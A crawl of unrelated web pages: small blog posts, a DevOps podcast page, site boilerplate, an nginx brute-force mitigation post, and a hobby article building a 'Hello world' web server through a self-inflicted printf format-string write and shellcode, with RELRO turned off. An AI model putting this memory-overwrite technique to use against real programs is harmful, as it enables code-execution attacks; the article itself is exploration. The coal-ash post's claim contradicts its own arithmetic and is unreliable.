[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e96c-e325-11ce-bfc1-08002be10318}\0005\PowerSettings] "ConservationIdleTime"=hex:04,00,00,00 "IdlePowerState"=hex:00,00,00,00 "PerformanceIdleTime"=hex:00,00,00,00 Posted by Cees Timmerman at 21:10 No comments: Email This BlogThis! Share to X Share to Facebook Share to Pinterest 2024-04-05 SVG to WebP converter in JS Convert Posted by Cees Timmerman at 14:35 No comments: Email This BlogThis! Share to X Share to Facebook Share to Pinterest Labels: convert , download , image , JS , SVG , tool , WebP 2024-03-18 Don't forget to check your integer type! """PIL/Pillow Image.fromarray() doesn't check your array value types! """ from PIL import Image import numpy as np im = Image . new ( "RGB" , ( 2 , 1 )) im . putpixel (( 0 , 0 ), ( 255 , 0 , 0 )) im . putpixel (( 1 , 0 ), ( 0 , 255 , 0 )) a = np . array ( im ) print ( "Good shape:" , a . shape , a ) print ( "See?" ) Image . fromarray ( a , "RGB" ). show () a = np . array ([[[ 255 , 0 , 0 ], [ 0 , 255 , 0 ]]]) print ( "Bad shape:" , a . shape , a ) print ( "Where'd the green pixel go?" ) Image . fromarray ( a , "RGB" ). show () a = np . uint8 ( a ) print ( "Fixed shape:" , a . shape , a ) print ( "If the green pixel disappeared, you forgot to cast to uint8." ) Image . fromarray ( a , "RGB" ). show () Posted by Cees Timmerman at 21:12 No comments: Email This BlogThis! Share to X Share to Facebook Share to Pinterest Coal ash contains more energy than was gained from burning the coal. https://www.world-nuclear.org/information-library/facts-and-figures/heat-values-of-various-fuels.aspx Natural uranium, in a fast-neutron reactor 28,000 GJ/kg [so 28e9 J/g] Hard black coal (IEA definition) >23.9 MJ/kg Hard black coal (Australia & Canada) c. 25 MJ/kg [so 25e3 J/g and 207.25 g/mol according to https://pubchem.ncbi.nlm.nih.gov/compound/1-Anthrylmethanolate] Sub-bituminous coal (IEA definition) 17.4-23.9 MJ/kg Sub-bituminous coal (Australia & Canada) c. 18 MJ/kg Lignite/brown coal (IEA definition) <17.4 MJ/kg Lignite/brown coal (Australia, electricity) c. 10 MJ/kg mass / molar mass = moles moles * avogadro = number of molecules number / avogadro = moles moles * molar mass = mass 1e6 / 6.022140857e24 * 207.25 = 3.4414672e-17 g of coal = 8.603668e-13 J (25e3 J/g * 3.4414672e-17 g) 1 / 6.022140857e24 * 238.02891 = 3.952563e-23 g of uranium = 1.1067176e-12 J (28e9 J/g * 3.952563e-23 g) 1 / 6.022140857e24 * 232.03806 = 3.8530826e-23 g of thorium = 1.0788631e-12 J (28e9 J/g * 3.8530826e-23) https://pubs.usgs.gov/fs/1997/fs163-97/FS-163-97.html "2,000 coal samples from the Western United States and approximately 300 coals from the Illinois Basin. In the majority of samples, concentrations of uranium fall in the range from slightly below 1 to 4 parts per million (ppm). Similar uranium concentrations are found in a variety of common rocks and soils, as indicated in figure 2. Coals with more than 20 ppm uranium are rare in the United States. Thorium concentrations in coal fall within a similar 1–4 ppm range" So at 1 ppm uranium and 1 ppm thorium, a coal power plant releases only (8.603668e-13 / (1.1067176e-12 + 1.0788631e-12)) = 0.3936559286 = 39% of the available fission energy in coal. Posted by Cees Timmerman at 21:02 1 comment: Email This BlogThis! Share to X Share to Facebook Share to Pinterest Labels: chemistry , coal , ecology , energy , fission , fossil , thorium , uranium , vs Older Posts Home Subscribe to: Comments (Atom) Followers About Me Cees Timmerman View my complete profile Blog Archive ▼  2026 (1) ▼  January (1) Everything you need to know about Unicode in Perl ... ►  2025 (2) ►  November (1) ►  October (1) ►  2024 (4) ►  November (1) ►  April (1) ►  March (2) ►  2020 (2) ►  May (1) ►  February (1) ►  2019 (1) ►  May (1) ►  2016 (1) ►  December (1) ►  2015 (2) ►  October (1) ►  March (1) ►  2014 (9) ►  November (1) ►  October (1) ►  September (1) ►  August (1) ►  June (1) ►  April (1) ►  March (2) ►  February (1) ►  2013 (4) ►  October (2) ►  March (1) ►  January (1) ►  2012 (9) ►  June (2) ►  May (1) ►  March (4) ►  February (1) ►  January (1) ►  2011 (5) ►  November (5) Theme images by JacobH . Powered by Blogger . | 2026-01-13T08:47:54 |
https://dev.to/adventures_in_devops/platform-engineering-with-luca-galante-devops-158#main-content | Platform Engineering with Luca Galante - DevOps 158 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Adventures in DevOps Follow Platform Engineering with Luca Galante - DevOps 158 Apr 13 '23 play Luca Galante runs products at Humanitec and is a writer for Platform weekly. He joins the show alongside Jonathan and Will to talk about Platform Engineering. He starts off as he explains "Platform Engineering", its concept, and its impact on the DevOps community today. Sponsors Chuck's Resume Template Developer Book Club starting Become a Top 1% Dev with a Top End Devs Membership Links What is platform engineering? What is an internal developer platform? What is Dynamic Configuration Management? Platform Engineering community PlatformCon 2023 Socials LinkedIn: Luca Galante Twitter: @luca_cloud Picks Jonathan - Go Code Roast: Logstash to Prometheus exporter - YouTube Luca - STARLINK ROAM Will - Unitree Mobile Robotics Expert Advertising Inquiries: https://redcircle.com/brands Privacy & Opt-Out: https://redcircle.com/privacy Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://youtu.be/Oe6L5ZmqCDE | Go Code Roast: Logstash to Prometheus exporter - YouTube 정보 보도자료 저작권 문의하기 크리에이터 광고 개발자 약관 개인정보처리방침 정책 및 안전 YouTube 작동의 원리 새로운 기능 테스트하기 © 2026 Google LLC, Sundar Pichai, 1600 Amphitheatre Parkway, Mountain View CA 94043, USA, 0807-882-594 (무료), yt-support-solutions-kr@google.com, 호스팅: Google LLC, 사업자정보 , 불법촬영물 신고 크리에이터들이 유튜브 상에 게시, 태그 또는 추천한 상품들은 판매자들의 약관에 따라 판매됩니다. 유튜브는 이러한 제품들을 판매하지 않으며, 그에 대한 책임을 지지 않습니다. var ytInitialData = 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| 2026-01-13T08:47:54 |
https://github.com/nikic | nikic (Nikita Popov) · GitHub Skip to content Navigation Menu Toggle navigation Sign in Appearance settings Platform AI CODE CREATION GitHub Copilot Write better code with AI GitHub Spark Build and deploy intelligent apps GitHub Models Manage and compare prompts MCP Registry New Integrate external tools DEVELOPER WORKFLOWS Actions Automate any workflow Codespaces Instant dev environments Issues Plan and track work Code Review Manage code changes APPLICATION SECURITY GitHub Advanced Security Find and fix vulnerabilities Code security Secure your code as you build Secret protection Stop leaks before they start EXPLORE Why GitHub Documentation Blog Changelog Marketplace View all features Solutions BY COMPANY SIZE Enterprises Small and medium teams Startups Nonprofits BY USE CASE App Modernization DevSecOps DevOps CI/CD View all use cases BY INDUSTRY Healthcare Financial services Manufacturing Government View all industries View all solutions Resources EXPLORE BY TOPIC AI Software Development DevOps Security View all topics EXPLORE BY TYPE Customer stories Events & webinars Ebooks & reports Business insights GitHub Skills SUPPORT & SERVICES Documentation Customer support Community forum Trust center Partners Open Source COMMUNITY GitHub Sponsors Fund open source developers PROGRAMS Security Lab Maintainer Community Accelerator Archive Program REPOSITORIES Topics Trending Collections Enterprise ENTERPRISE SOLUTIONS Enterprise platform AI-powered developer platform AVAILABLE ADD-ONS GitHub Advanced Security Enterprise-grade security features Copilot for Business Enterprise-grade AI features Premium Support Enterprise-grade 24/7 support Pricing Search or jump to... Search code, repositories, users, issues, pull requests... --> Search Clear Search syntax tips Provide feedback --> We read every piece of feedback, and take your input very seriously. Include my email address so I can be contacted Cancel Submit feedback Saved searches Use saved searches to filter your results more quickly --> Name Query To see all available qualifiers, see our documentation . Cancel Create saved search Sign in Sign up Appearance settings Resetting focus You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert {{ message }} nikic Follow Overview Repositories 113 Projects 0 Packages 0 Stars 78 More Overview Repositories Projects Packages Stars nikic Follow Nikita Popov nikic Follow 6.4k followers · 25 following Red Hat Berlin, Germany 09:47 (UTC +01:00) https://www.npopov.com/ X @nikita_ppv Mastodon @nikic@mastodon.social Achievements x4 x4 x4 Achievements x4 x4 x4 Organizations Block or Report Block or report nikic --> Block user Prevent this user from interacting with your repositories and sending you notifications. Learn more about blocking users . You must be logged in to block users. Add an optional note Maximum 250 characters. Please don't include any personal information such as legal names or email addresses. Markdown supported. This note will be visible to only you. Block user Report abuse Contact GitHub support about this user’s behavior. Learn more about reporting abuse . Report abuse Overview Repositories 113 Projects 0 Packages 0 Stars 78 More Overview Repositories Projects Packages Stars Pinned Loading llvm/ llvm-project llvm/llvm-project Public The LLVM Project is a collection of modular and reusable compiler and toolchain technologies. LLVM 36.4k 15.8k PHP-Parser PHP-Parser Public A PHP parser written in PHP PHP 17.4k 1.1k FastRoute FastRoute Public Fast request router for PHP PHP 5.3k 454 scalar_objects scalar_objects Public Extension that adds support for method calls on primitive types in PHP PHP 1.1k 43 iter iter Public Iteration primitives using generators PHP 1.1k 70 PHP-Fuzzer PHP-Fuzzer Public Experimental fuzzer for PHP libraries PHP 436 18 Something went wrong, please refresh the page to try again. If the problem persists, check the GitHub status page or contact support . Uh oh! There was an error while loading. Please reload this page . Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information You can’t perform that action at this time. | 2026-01-13T08:47:54 |
https://streamable.com/01yxq8 | Watch Joe Mazzulla answered every single question with “illegal screen” 😭 | Streamable Video hosting made easy Get started Joe Mazzulla answered every single question with “illegal screen” 😭 2788 views ios_share Share Free video hosting by Streamable Upload video Clip from URL Trim video Rotate video Mute video Crop video Compress video Embed video Livestream Podcast Privacy Policy Cookie Policy Cookie Preferences Terms Community Guidelines Support Report | 2026-01-13T08:47:54 |
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https://davstott.me.uk/index.php/2014/03/23/saving-the-world-one-cpu-cycle-at-a-time/ | Saving the world, one cpu cycle at a time | Dav's bit o the web Dav's bit o the web General optimism, in a mild and British sort of way Menu Skip to content About Dav Technology Food Posts Index Saving the world, one cpu cycle at a time Energy is one of the biggest problems facing the world today, with an increasing amount of it being converted into compute cycles and heat in Warehouse Scale Computers in data centres around the world. In recent years, the big tech companies have invested an awful lot of time from some very clever people into squeezing more performance out of the servers that drive the products that many of us now take for granted. Indeed, one paper I read recently said that the popular Gmail service wouldn’t have been close to affordable to run without Google’s power efficiency in software and data centre design. My favourite side-effect of this renewed drive for efficiency is that this also gives us the tools to do lots of fun things on relatively small computers, and make our servers use up less electricity to perform the same tasks. A bit like replacing the air filter on a car engine to let it breathe more easily, each individual tweak might only save a few microseconds here and there, but it can soon add up. We can’t all be Jeff Dean , and need more than a printf() call to implement a HTTP server, so I’m going to start with a simple technique I used to stop my little Bytemark VM having to do some tasks that just aren’t necessary at all.. Stopping dictionary attacks on wp-login.php with a couple of lines of nginx configuration One downside of using a popular content management system like WordPress is that many script kiddies like to perform automated attacks on it, looking for people who’ve chosen poor usernames and passwords to edit their content. Unfortunately, that sort of attack causes web servers to get very busy, using up power and generally slowing things down for people trying to do real work. One such attack is illustrated in the chart below, showing my server’s CPU activity over 24 hours from a week or two ago. The data came from sar’s standard logs. A chart of my server’s CPU activity, the % in use What could cause such a big plateau of busywork, I hear you ask? It turned out to be a couple of IP addresses with very dodgy DNS names blatting away at my wp-login.php several times a second for hours on end. I made this traffic go away with a couple of simple nginx configuration directives that made the attacking script believe that my website had gone away after a handful of failed log in attempts. It’s split into two sections, the first is to add this to nginx.conf’s http{} section. This creates a bucket named ‘myZone’, with a rule that says any content locations mapped to that bucket should not average more than one request per second from a given remote IP address: limit_req_zone $binary_remote_addr zone=myZone:2m rate=1r/s; Adding this next stansa into your virtual host’s server{} section (sorry for using the ~ operator, lazy Dav was lazy) maps any URLs containing the string ‘wp-login.php’ into that bucket. The “burst=3†parameter allows me to retry a failed login a couple of times without locking me out of my own website, and consigning error logging to /dev/null means that I don’t waste disk space or webstats on looking at the banned login requests, although there are some downsides to doing that : location ~ wp-login.php { limit_req zone=myZone burst=3; fastcgi_pass php; include fastcgi_params; error_log /dev/null; } Whilst this deflects a simple attack from a small number of IP addresses, it wouldn’t help so much if my server was that target of a distributed attack from a large number of IP addresses. This is where cloud-based services such as Brute Protect come into play, letting server administrators share data on failed login attempts into a coordinated pool to try to protect everybody. This plugin runs in PHP, so isn’t as efficient as blocking the unwanted traffic in the web server or firewall, but it’s still useful and doesn’t take much time at all to set up. Upgrade your PHP and use Zend’s opcache If you haven’t heard about op-code caches before, I recommend that you read EngineYard’s excellent explanation of PHP Opcode Caches , which includes any amount of detail. From what I remember of @julienPauli ’s excellent talk on OpCache internals at this year ‘s PHP London conference , the recently open-sourced opcache works wonders when using frameworks that compile a large number of classes that aren’t used all that often. Rather like my WordPress site. Unlike APC, Opcache doesn’t just cache the results of compiling your PHP code, it also includes some optimisations, such as replacing i++ with ++i to avoid having to allocate a temporary variable that is never referenced to store the results of the increment. Taken together, these optimisations become significant. To look at the impact of upgrading to php5.5 and switching on opcache, I’ve charted the difference in the time taken to draw the front page of my blog: I generated my numbers completely unscientifically by blatting away for a bit at an offline copy of my website using the excellent Siege load testing tool . Almost all of my home computers (maybe not my Raspberry Pi) are way more powerful than my Bytemark VM, and anyway, it’s only the relative difference between them that’s interesting. Enabling opcache means I got a speed increase of about 300% for no extra cost. Nice. If you’d like a more sensible comparison of PHP versions and op-cache options, this is a good place to start: http://www.ricardclau.com/2013/03/apc-vs-zend-optimizer-benchmarks-with-symfony2/ Use a better malloc(3) By and large, you get the biggest speed and efficiency increases by improving the code you’ve written for your application and looking at database indexes and structures, but you can get some interesting results by making a very small improvement to code that is called a great many times over a period of months or even years. One such piece of code is the standard C library function that allocates a section of memory for your application, malloc() . I’m not going to dwell on this in too much detail, largely because many other people have already done so, but there are two popular alternatives to glibc’s malloc(): FreeBSD’s jemalloc and Google’s tcmalloc . Facebook has reported some very good results from using jemalloc for general use as well as speeding up MySQL with it , my favourite key-value store Redis uses jemalloc and it became the allocator of choice for Mozilla starting with Firefox version 3. That said, apart from Google’s own use of it, GitHub used tcmalloc to sort out their MySQL servers to significantly reduce the time InnoDB spent waiting for kernel_mutex . Whilst I was reading about this, I tripped over the excellent poor man’s profiler approach to performance profiling, using the standard Linux tools to aggregate a collection of stack traces. This entry was posted in Technology on March 23, 2014 by Dav Stott . Post navigation ← Rivers of London, Ben Aaronovitch Recent Posts Saving the world, one cpu cycle at a time Rivers of London, Ben Aaronovitch Ubuntu 13.04 on a USB flash drive, and merging its persistent storage Raspberry Pi – drawing maps inside Minecraft Raspberry Pi Infrared Range Sensing Homemade salted caramel and honeycomb ice cream Salted caramel sauce Raspberry Pi Ultrasound Sonar Range Sensing Digital cameras and memory card speeds Raspberry Pi – Controlling GPIO from the Web Friendly blogs Biosecurity and Invasive Species Gidley Gossipings Lunchtime Adventures in The Garden Paul's Alpine Challenge Paul’s Pantry Penny blogs Pommie Bastard on Tour Wez Furlong Proudly powered by WordPress | 2026-01-13T08:47:54 |
https://streamable.com/iho643 | Watch "It's shameful that the government can come out and lie about what happened when there's video and witnesses who have all come out and disputed what the government is saying." | Streamable Video hosting made easy Get started "It's shameful that the government can come out and lie about what happened when there's video and witnesses who have all come out and disputed what the government is saying." 19173 views ios_share Share Free video hosting by Streamable Upload video Clip from URL Trim video Rotate video Mute video Crop video Compress video Embed video Livestream Podcast Privacy Policy Cookie Policy Cookie Preferences Terms Community Guidelines Support Report | 2026-01-13T08:47:54 |
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=48019#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t 